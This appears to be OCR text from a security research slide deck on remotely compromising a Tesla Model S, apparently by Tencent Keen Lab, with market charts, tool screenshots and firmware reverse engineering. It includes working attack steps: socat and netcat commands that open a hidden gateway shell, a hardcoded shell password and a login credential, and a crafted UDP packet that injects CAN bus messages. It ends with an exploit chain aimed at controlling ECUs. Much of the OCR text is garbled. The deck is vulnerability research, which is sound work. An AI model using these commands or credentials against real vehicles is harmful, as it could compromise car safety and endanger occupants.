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Exhibit 3 Exhibit 7
Estimated connected car revenues (and market share) by product package, Connected car revenue potential, by region, 2017-22
2015-22

Estimated Connected Car Shipments

Global $155.9 billion

$155.9 billion

$52.8
(33.9%) Western E.U.

$58.2 (37%)

24.3%
CAGR
//

United States

Millions

$52.5 billion $52.5 billion
$45 billion T

$35.5 billion $17.6 (34%)

Il Connected services $17.9 (34.0%) ] $9.6 (6.2%)

Mobility/vehicle management

$16.8 (37%)

e B

$10.5(24%) $42.8 (28% »
553 24%) e \ $42.6
5136 mos) [ 577 oo [ 507 6% 0 (27.3%)

2015E 2016E 2017E 2018E 2019E 2020E

2015 2016 2017 2022
(estimate) (forecast) (forecast) (forecast)

Source: OICA, KPMG, 1TU, sumer Baromter,
GSMA Intelligence, Bi Int imates, 2016

“While those types of vehicles are only becoming more prominent — Reuters shares data from market researcher IDATE showing that the number of
connected cars on the road has risen 57 percent annually since 2013 and that the total number is expected to reach 420 million by 2018 — keeping them
safe from hackers is becoming a big business.”

“We view this as a potential $10 billion market opportunity over the next five years,” Reuters quotes Daniel Ives, an analyst with FBR Capital Markets in
New York, as stating. ”

“The Reuters story adds that Harman International Industries, a maker of connected car systems, bought Israeli-founded cyberdefense startup TowerSec for
the purpose of protecting its products and that global tech companies, like IBM and CISCO, are also employing their teams in Israel to work on the security

of connected cars.” -2016/1/12
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{Car Hackers Handbook)
* http://opengarages.org/handbook/

{Exposing the Vulnerabilities and Risks of High Tech Vehicles)

* http://icitech.org/wp-content/uploads/2015/09/1CIT-Brief Whos-
Behind-the-Wheel Car-Hacking2.pdf

{A Survey of Remote Automotive Attack Surfaces)

IP%

* http://1llmatics.com/remote%?20attack%20surfaces.pdf

{ Adventures in Automotive Networks and Control Units)

* http://www.10active.com/pdfs/IOActive Adventures in Automotiv
¢ Networks and Control Units.pdf 7
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* Nmap
* Wireshark
* CANalyzer
* Binwalk
* IDA
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capng

® |Q|“ap MiHF) REE WEN  BESG AT (V) E£E(H)

R

* Wireshark e —T——

UDP 458 + 4831 Len=486

; A .166 224 € 26 UDP 1668 1 31 Len=116

o ‘ A | \l alyzer ) 16898, .168.98. 255 UDP b. 188 - 28181 Len=12

i 5] 98 . 68.9 5 upp p 3 - 1 Len=12

5 168.98. 2 .98.255 UDpP ; 3 - 181 Len=12

. 6 6 .18 ; B.255 UDP 52 166 - 208181 Len=12

o B ‘xr 11 - .168.98.16: : 3.255 UDP 62 3 » 20181 Len=12
ln a { 92.16 L1686 b UpP j - 49 Len=4

9 192.168.96.162 ; I8 . 255 upp 62 § i 1 Len=12

1€ 2.168.90.16: 192.168.98. 255 UpP 168 - 181 Len=12

1. : 68.90 1€ . A, 255 LDP 2 28168 - 20181 Len=12

LIDP 48741 - 4831 Len=44

UDP 2 28188 - 28181 Len=12

LDP ; 188 - 181 Len=8

LDP 2 28168 - 20181 Len=9

Internet Protocol Version 4, Src: 19

User Datagram Protocol, Src Port:
4 Data (12 bytes)

Data: B00800831301cl0%00000000
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o |\|map SEND ML oy s SR AT | DATA Frame 0x08

RECV 3L L S R S e 5¢c DATA Frame 0x08 ] 12 B
SEND 1B Sy Eia s : 0x0000064c DATA Frame (0x08 30 00 0O

[ J V\/ lreSharl< O RECV 17:254:36.98 0x0000065c DATA Frame 0x08 21 04 05

RECV 17:54:36.981 = 0x0000065c DATA Frame 0x08 22 b Oc

-CAN- | CAN (script) | +Defaul

* CANalyst LY

Index Direction Tim L | (0] [1ffof1{ojf1fo)|1)0

J Standard Frame J Right Align

o Binwa11< : T 3 -:n:l ID, If Bit box

means that only three low

Clear | #idd To Exist Close | Ewaluator |
®

. Make
¥ || hdvance Options |

Show Filter (HEX)
When |Frame ID .
add-> |

Show =

-Delete
Adwance Options #dd To Exist

Show Type: HEX » Alias Setting | Trigger Setting Hide Send Frame Load Configure
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* Nmap

 Wireshark

DECIMAL

Tencenit

DESCRIPTION

65792

* CANalyzer s

 Binwalk
e IDA

OFFSET

oooooooe
0oooo008
00000010
00000018

@x508
gxleeee

@xlelee

Bx34483E

firmwarel.bin

CFE boot loader, little endian

Broadcom 96345 firmware header, header size: 256, firmware version: "8", board id: "6348GW-10",
~CRC32 header checksum: 8x7FBD17C6, ~CRC32 data checksum: 8xF44DBF79

Squashfs filesystem, big endian, version 2.8, size: 2623358 bytes, 428 inodes, blocksize: 65536
bytes, created: Thu Sep 17 18:87:36 2009

Sercomm firmware signature, version control: @, download control: 8, hardware ID: "DGB34GT", hardware
version: 8x4180, firmware version: @x16, starting code segment: @x8, code size: 8x7300

firmwarez2.bin firmware3.bin
|"-.VdV. .| 27 B85 19 56 OC 69 BT 3I [ 27 ©5 19 56 01 9D FB 9 (B LS
IK.z5.:.c] 4A 67 DD 4F 00 ©E F4 F7 |Jg.0....]| 4D AB FC 7A 00 OE FD 5F [M..z..._|
[ +..] 80 06 00 00 80 31 50 B0 |..... 1..] 80 00 20 B0 80 2B 20 B0 |..... +..
[racaserasiss sl S5E 91 1E 06 05 85 02 83 |*....... I FE F9 09 2F 05 05 02 83 |...[v..-

06000020
00000028

00000030

00000638

4C 69 6E 75 78 20 4B
72 6E 65 6C 20 49 6D
67 65 00 00 00 OO 0O
00 00 0O GO 0O 0O GO

4C 69 6E 75 78 20 4B 65

o S e
——— e S e

65 |Linux.Ke| |Linux.Ke| 4C 69 6E 75 78 20 4B 65 |Linux.Ke|
61 |rnel.Ima| 72 6E 65 6C 20 49 6D 61 |rnel.Ima| 72 6E 65 6C 20 49 6D 61 |rnel.Ima|
P6 |ge...... | 67 65 00 00 00 PO 0@ PO |ge...... | 67 65 00 00 0P 0O 0@ PO |ge......
O i | 00 OO 0O OO 00O OO GO GO |........ | 00 OO 0O OO OO GO GO GO |........ |




* Nmap

* Wireshark
* CANalyzer
e Binwalk

* [DA

Byt B B ) & * X or
_!!!ﬁgﬂlﬁ_!ﬂ!ﬂ

Library function Data [ Regular funetion Unexplored | Instruction External symbol

E Functions window 08 x |[] IDA View—h

do
{

Function name

andle
ndle

if

:[1] =

i
while

-

+ 2) 0235 ;

else

{
UDS TESLH generatekey( i-*nodelD,

[-11:
& '—>seruerSeed[15];

[11;
eJ(v1d++ + 1) =
while { u12Z t= &ciphs

H
= 16;
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o IC
e Instrument Cluster
* Tegra 3 Linux _

* 192.168.90.101 -

*C

* Center Information Display
* Tegra 4 Linux
* 192.168.90.100

* Gateway
* Vehicle Gateway
* FreeRTOS
* 192.168.90.102
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Webkit Media
Browser Player
OTA Update .
Service (VPN) Other Services
Ubuntu OS
« Gateway
ARMV7 ~|_(RTOS)
RETS ] Ethernet E\TCP/UDP
T S T I T I I I I I I T I T I I I I T \\sxx‘ WiFi
Cellular Bluetooth ) (Linux)
-/
CID

LEVE T

Tencenit

o)) (=

R
v \4 v
Lv CH CAN Bus

~

N\
\N
~

~

A Body CAN Bus
A A A

\ v

(I

In-Vehicle Network
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R 5
o JLTH 2245
« & H HOL(NEC V850)
o KFHHi (Freescale MPC5668G)

o -
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R
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- 724~ (NEC 78KO0R)
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Ingineer
Electrical Engineer

&0

%

Joined:  Aug9,2012
Messages: 1,349

Ingineer, Aug 21, 2015

apacheguy said: 1

The MCU never sleeps. It is always on for logging. That's why the center screen immediately com
seconds to wake up. 3G, Bluetooth, and Wifi are clearly disabled while asleep, but I've never seen

| just figured that the LTE radio might be faster to wake up than the older radio.

This is not true. The MCU has 2 separate and distinct systems in it's housing; the g
performs the logging function, and it runs FreeRTOS on a Freescale MPC5668G. T
while the Gateway can stay awake.

ATTENTION: These posts are the intellectual property of the author, and may not be quoted off this site without specific written consent.
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booted.img hwidacq.log 1log orig int.dat wupdate.log
config hwids.acq modhwid. log Irelease.tgzl

dtc hwids.txt modinfo.log udsdebug.log
- SD 4GB mkdir release && tar xf release.tgz -C release/

gzip: stdin: decompression OK, trailing garbage ignored
tar: Child returned status 2

tar: Error is not recoverable: exiting now

+ SD_4GB ls release/

bdy.hex chgsph2cpld.hex dhfd.hex pdm. hex

bmscpld.hex chgsph2.hex dhfp.hex hndfd.hex pm.hex

bms.hex chgsph3cpld.hex dhrd.hex hndfp.hex ptc.hex

chgphlcpld.hex chgsph3.hex dhrp.hex hndrd.hex rccm.hex

chgphl.hex chgsvicpld.hex difpga.hex hndrp.hex sec.hex

chgph2cpld.hex chgsvi.hex di.hex ic.hex sun. hex

chgph2.hex chgvicpld.hex dsp.hex lft.hex thec.hex

chgph3cpld.hex chgvi.hex eas.hex log.cfqg tpms hard cal.hex

chgph3.hex cp.hex epb.hex manifest tunercal.hex

chgsphlcpld.hex dcdc.hex epbm. hex msm. hex tunerdsp.hex

chgsphl.hex ddm. hex esp.hex park.hex tuner.hex K_)

- sp_dcsB [}
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End
Bootloader

0x00020000 FLASH and
Internal Files
CODE Region
DATA Region

Updater System

0x400FFFFF SRAM when in
Programming Mode

0x001FFFFF FLASH2

Program Segmentation

Mame Start End ' Align Base Type vie ds
00000000 00020000 " . . byte 00 public FFFFFFFF  FFFFFFFF
FLASHZ 00020000 001F7ABE 5 b : byte 00 public FFFFFFFF  FFFFFFFF
EAM O0FFO000 OOFFFFFF .+« byte 01 public 3 FFEFEFEF  FFFFFFFE
RAM 40000000 50000000 L oo v o byte 00 public FFFFFFFF  FFFFFFFF

AIPS_A 3000000 4000000 5 . . . dword 01 public R FFFFFFFF  FFFFFFFF
AIPS_B FFF00000 FFFFFFFF : . . . dword 01 public R FFFFFFFF  FFFFFFFF
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Table A-1. Module Base Addresses (continued)
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FFFD402
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FreeRTOS fencent

“Tmr Sve” 72 E [\ FreeRTOS ) 4,

loc 1BTBBO:
taskEXTIT CRITICAL

; ; 0 i 6, @
POrtBASE TYPE xTimerCreateTimerTask( void ) r0, xTimerQueue@l (r3l)

4 i r3,

99 portBASE TYPE xReturn = pdFAIL; =l = 8 _
= cr7, loec 1B7BFO

prvTimerTaskiéh # prvTimerTask

i @ H oyt
] prvCheckForValidListAndQueue(); : e PAEE e i_‘la ", acme E.vr. ¥
- r3, prvTimerTask@l # prvTimerTask
( XTimerQueue 1= NULL ) ' 4, rd, aTmrSvcll # aTmrSvc
{
19 ( INCLUDE xTimerGetTimerDaemonTaskHandle == )
{
r9,
xReturn = xTaskCreate| prvTimerTask, | signed char * )| "Tmr Svc",||{ unsigned s i,
' i ' : i xTaskGenericCreate
} ' : TaskG C t
{ {
XReturn = xTaskCreate( prvTimerTask, ( signed char * ) "Tmr Svc", ( unsigned 5
. B : - ? loc 1BTBFO:
r0, 0x20+sender cr(rl)
} r28,
r0
3 0
23 configASSERT( xReturn ); 40!

r30,
r3l1,
ri.,

XReturn;




FreeRTOSHE ', vencent

* Tasks

o A RHPATIREHR T —1MME5, FreeRTOS H & 42
(AT 558 B FE AR
* Queues

» A5 52 FreeRTOS H HVH SAZ# L 30, AL 55 (B HITH
B LL AT S5 5 b B B SR I

* ctcC.
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portBASE TYPE xTaskCreate (

PdTASK CODE pvTaskCode, Suspended

const char * const pcName,

unsigned short usStackDepth, * vTaﬂ:ﬁ“iEE"d“
vTaskSuspend() '

void *pvParameters, called

vTaskResume()
unsigned portBASE TYPE uxPriority, called

xTaskHandle *pvCreatedTask) ;
* pvTaskCode Pointer to the task entry function.
* pcName A descriptive name for the task.

* usStackDepth The size of the task stack specified as the number

of variables the stack can hold - not the number of bytes.
* pvParameters Pointer that will be used as the parameter for the vTaskSuspend()
task being created. called _
Blocking API
* uxPriority The priority at which the task should run. function called

* pvCreatedTask Used to pass back a handle by which the created
task can be referenced.

Blocked

K) KEEN
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* FreeRTOSH
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|

R X < ) FreeRTO fencent

Functions

Function nan

Functions window

Function name Segment

ethTask
i2cTazk
queuel

mainTask 5 ! 00001450

temperatureTask 5 b
[#] cyclicFlagTask AS 000000ES
|—‘7 tenHzTask ASHZ 0

| o

#  Task




XA é% Tj]\ 1‘/)‘( ﬁz g j /fti /% éﬁ Tencent

o« A] LRI Bl 2% 82 R ©
e socket listen send recv sendto recvirom etc.
* fopen fread fwrite fclose etc.

o BT MY H A FF NG

e TCP/IP stack

* File system
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F]'.:.F'!..SI-I"]I D'Dl':l t'r

aBdy gtw | T'tlllI""'"I‘}_J'llLlLllPchTﬂ}_J .string "BDY GTW mirrorPud: 1_1_1—'L--LTL'IJII stalled"

byte

aBdy gtw nokeyle :.pntrj.r strlug "BDY GTW noKeylessEntry"

byte

aBdy gtw nozzleheatinstal:.string "BDY GTW nozzleHeatInstallec

-byte

UNENOWN 00151E68: FLASHZ:aBdy gtw memoryseatiinata (Synchronized with Hex View-1)

Fi 11
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YL gl (I Tencenit

* R AR

IDA View-A

FLASH2 :001Céle8

FLASHZ2 :001C6l168

FLASHZ2 :001C6l68

FLASH2 :001C6l168 : # CODE X¥REF: sub_lﬂlEdB:l&c_lElEFDTp
# event callback+74Tp

FLASH2:001C6168
FLASHZ2 :001Cé6168
FLASH2:001Cé6168
FLASH2:001C6168
FLASH2? : 001C6168
FLASHZ:001C6168
FLASH2:001cCel6C
FLASH2 :001C6170
FLASH2:001Cé6174
FLASHZ2 :001Ce6178
FLASH2 : 001C617C
FLASHZ? : 001C6180
FLASH2:001C6184
FLASH2:001C6188
FLASH2:001Cc6188
FLASH2:001C6188
UNENOWN 001C6l17C: socket taskENTER CRITICAL+14

rl, back chain(rl

stw r0, 0xl10+sender 1lr{rl)
bl taskENTER CRITICAL

1i r3, o

lwz r0, 0x10

addi

L LE N o s DR R R LR Y
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JC diag funje ts :.long sub 4147C
F4 ¥ .long sub 40BF4
00 .long 0
D4 .long sub 414D4
AC .long sub 414AC
98 .long sub 40B98
00+ .long 0, 0O
04 .long sub 41204
50 .long sub 41150
EB .long sub 40EES
34 .long sub 40D34
0A DC .long sub 40ADC
0A 20 .long sub 40A20
OE 04 .long sub 40E04
00 00+ .long 0, 0
14 FC .long sub 414FC
0c 48 . long .-:.ub 40C48
00 00+ .long 0, 0
09 24 . long sub_aiﬂgﬁél

UNKNOWN 00041640: FLASHZ:diag func_table
KEEN
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#!/usr/bin/env python
import idautils

def flash ram memcpy (frmea, toea, count, itemsize):
datalist = idautils.GetDatalist (frmea, count, itemsize)
idautils.PutDatalist (toea, datalist, itemsize)
flash ram memcpy (0x10C004, 0x4004B4FO, . ot b

(0x40065064-0x4004B4F0) /4, 4) =

;, flash data : i £ # flash data region
s Fl, flash d G 1 # flash data region

2, ram data re £ m data_regic.\rz

; T2, ram data regioc # ram data region # ram data region
, ram data regi # ram data region end

, r3, ram data region end@l # ram data region end

, —0xCO+arg CO(rl)
(r2)

A o D |

; EX A

S o
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Tencenit

Shell¥ii F tep:192.168.90.102:23

e FHTask shellTask |zt

void mainTask(..)

{
xTaskGenericCreate(shellTask, , X , BY%;:
1
* JF 5 shell
root@cid-5 43
root@cid-5 4# nc gw 23
root@cid-5 43
root@cid-5 4# printf "\x12\x01" |socat - udp:gw:3500
root@cid-5 a#
root@cid-5 4# nc gw 23 K)
> KEEN
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lab




Shell

e Shell 44

aaa4oDAR
Aa6492DA8
Aae42DA8 81 21 68 1C
Baa4eDAc 6D 28 31 71
08849DBA 2F B8O 33 65
Aaa4oDEY 41 OFE 68 58

° %%,m\%_"ﬁ%:

loc_ 49DRAB:
1wz
Xoris
cmpwi
beq

1g3e5t7u

Fe, Bx128+var_184(r1)
ra, r9, '1q°

cr¥, ra, "Je’

ck?, loc_ 4OEBY4

BABLOE AL
BABLOE AL
BABL2EBL B1 21 68 28
BABL42EBR 6D 28 35 7h
B0049EBC 2F 8O 37 75
BABLOE1OG 48 9E FF A8

loc 4OEA4:

tcp:192.168.90.102:23

1wz
®oris
cmpwi
bne

Tencenit

Fe, Bx128+var_188(0r1)
ra, r?, '5t°

cr¥, ré, "¥fu’

cr?, loc_ 49DHES

K) KEEN
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Tencenit

Shell¥ I tcp:192.168.90.102:23
T %

root@cid-5 4# printf "\x12\x®1" |socat - udp:gw:3500
root@cid-5 4%
root@cid-5 4% nc gw 23

? 1g3e5tTu

gw> help

Board Revision: 6

Vehicle Version: 2.28.60

Application 0.0

CRC: dO560e50, buildType: 1 (PLATFORM)

GIT: b862%a206fTablc8e2a9a6b7b3c9125316d64c270
Bootloader Version: 2.3.2




Shell

ARG
exit
mkdir

Cp

cat

mv

rm

date

Is

help

a2
resetsd
formatsd
hub

eX

ic
clearlogs
tegrareset
tegra
reboot
chkdsk

tcp:192.168.90.102:23

RS2

flushinfo
dbgrails
dbgrtc
miiread
dbgtimers
dbgsleep
hwid
uptime

status

dbglog

Tencenit

K) KEEN
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Tencenit

Shell¥ I tcp:192.168.90.102:23

e tegrafiy &
gw> tegra 115200

Tesla Motors Model S

cid login: teslal
teslal
Password: 91172abg888115fe2

Last login: Wed Aug 31 22:44:03 PDT 2016 from 192.168.90.165 on pts/0
Jetc/update-motd.d/08-header: 4: 1lsb release: not found

Linux cid 2.6.36.3-pdk25.023-Tesla-20140430 #see Jetc/commit SMP PREEMPT 1202798460 armv7l GNU/Linux

Welcome to Ubuntu!

* Documentation: https://help.ubuntu.com/
-bash: no job control in this shell

tesla@cid- 5\ EG—— 1S

Iab




Tencenit

2 Wi 11 udp:192.168.90.102:3500

e HTask diagTask{] %

mainTask(..)

{

xTaskGenericCreate(diagTask, 3 s U, ; 9)3

}

e CID Zifé
o« 1 T AID, & 0~28 TS
* Gateway &[]

© LA 41D, BNk




)

N
Z

. 1

N
H

i3

b
!

ES

diag_funcs|[
diag_funcs]
diag_funcs|[
diag_funcs|
diag_funcs[
diag_funcs|
diag_funcs|[
diag_funcs|
diag_funcs|[
diag_funcs]
diag_funcs|[
diag_funcs|
diag_funcs[
diag_funcs|
diag_funcs|[
diag_funcs|
diag_funcs|[
diag_funcs]
diag_funcs]
diag_funcs|[
diag_funcs[
diag_funcs|[
diag_funcs|
diag_funcs|[
diag_funcs|
diag_funcs|[
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bt bl el bl beed [ ]

Wy Wy Sy WUy WS—y NSy SNy NSy Sy SNy WSSy WS Sy -

udp:192.168.90.102:3500

REBOOT;
APP_VERSION;
MONITOR_CAN;
INJECT_CAN;
BL_VERSION;
REBOOT_FOR_UPDATE;
RESET_TEGRA;
UPDATER_SLEEP_DELAY;
SLOW_VIP_405HS;
SET_DEBUG_PARAM;
GET_DEBUG_PARAM;
CLEAR_LOG;
CLUSTER_POWER;
ENABLE_SHELL;
MCU_POWER;
FILE_CRC;
HWIDACQ;
APP_CRC_AND_TYPE;
HUMAN_VERSION;
GIT_HASH;
DRIVE_RAIL_DISABLE;
PNSN;
GW_BOARD_REV;
DRIVE_RAIL_REQUEST;
SHUTOFF_RAILS_AND_REBOOT;
RESET_SECURITY_KEY;

nm - unn
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0x8 REBOOT FOR UPDATE

o ¥ gateway

void REBOOT_FOR_UPDATE(int fd, struct addrinfo *addr_info, int len, char * input_buffer)
{
do_mv(input_buffer + , )

SIU_SRCR =

1
 CID Ziﬁ_\&,

00000000 08 6 6f 62 6f 6f74 2¢ 69 6d 67 . noboot.img|
0000000b




0x04 INJECT CAN

Pzeudocode-A

resetbms 2() ;
return 1;

UNENOWH resetbms:3

Pseudocode-A

( !BYTE1 (dword 40068720) )

BYTE] (dword 40068720) = 1

= can_send_msg(ﬂ, [:ut}&ofﬁ_éﬁﬁﬁB?lC};
}

return

UNENOWN resetbms 2:11

Pseudocode-A

lunsigned int

2 {

cdecl INJECT CAN(int al, int a2,

return diag send msg(

41

UNEIOWN INJECT CRN:1

Pzeudocode-A

Tencenit

=

char *buf)

lunsigned int  fasteall diag send msg(int len, char *buf)

21
3 char v2; ff 1
bool v3; //
unsigned int channel; //
unsigned int vb&; //
int **vy6; [/

6 * -
&off 40069878[6 * T:
I*(( BYTE *)v6 + 5) )

RD *)off 40069878[v5] — *({ WORD *)I + 1) ;
*)off 40069878[v5][7] = *(( DWORD *) +
*} (of£_40069878[v5] [7] + 4) = *(( DWORD *)
*) + b)) =1;
can send msg(

1);

=1, (int) &off 40069878[6 *
}

}

return

71y

UNENOWHN diag send msg:23

+ 2);
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0x04 INJECT CAN: Ui/ Jf )5 £%

=

struct Diag CAN Msg {
CHAR ; // INJECT CAN==0x04
CHAR ; // CAN Channel ID, {0-6}
WORD can id; // CAN Msg ID
DWORD msgl; // Messages
DWORD msgZ2; };

#!/bin/sh
printf " \x02\x48\x04\x00\x00\x04\x00\xFF\XFF\x00" | socat - udp:gw:3500
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2. Exploit Webkit

1. Get control of :> Browser And :> 3. Root the Ubuntu I:> 4. Patch and
RIC/AVAID execute command system Disable AppArmor

on System

P
8. Control ECUs to 7. Send malicious : S. Bypass ECU's
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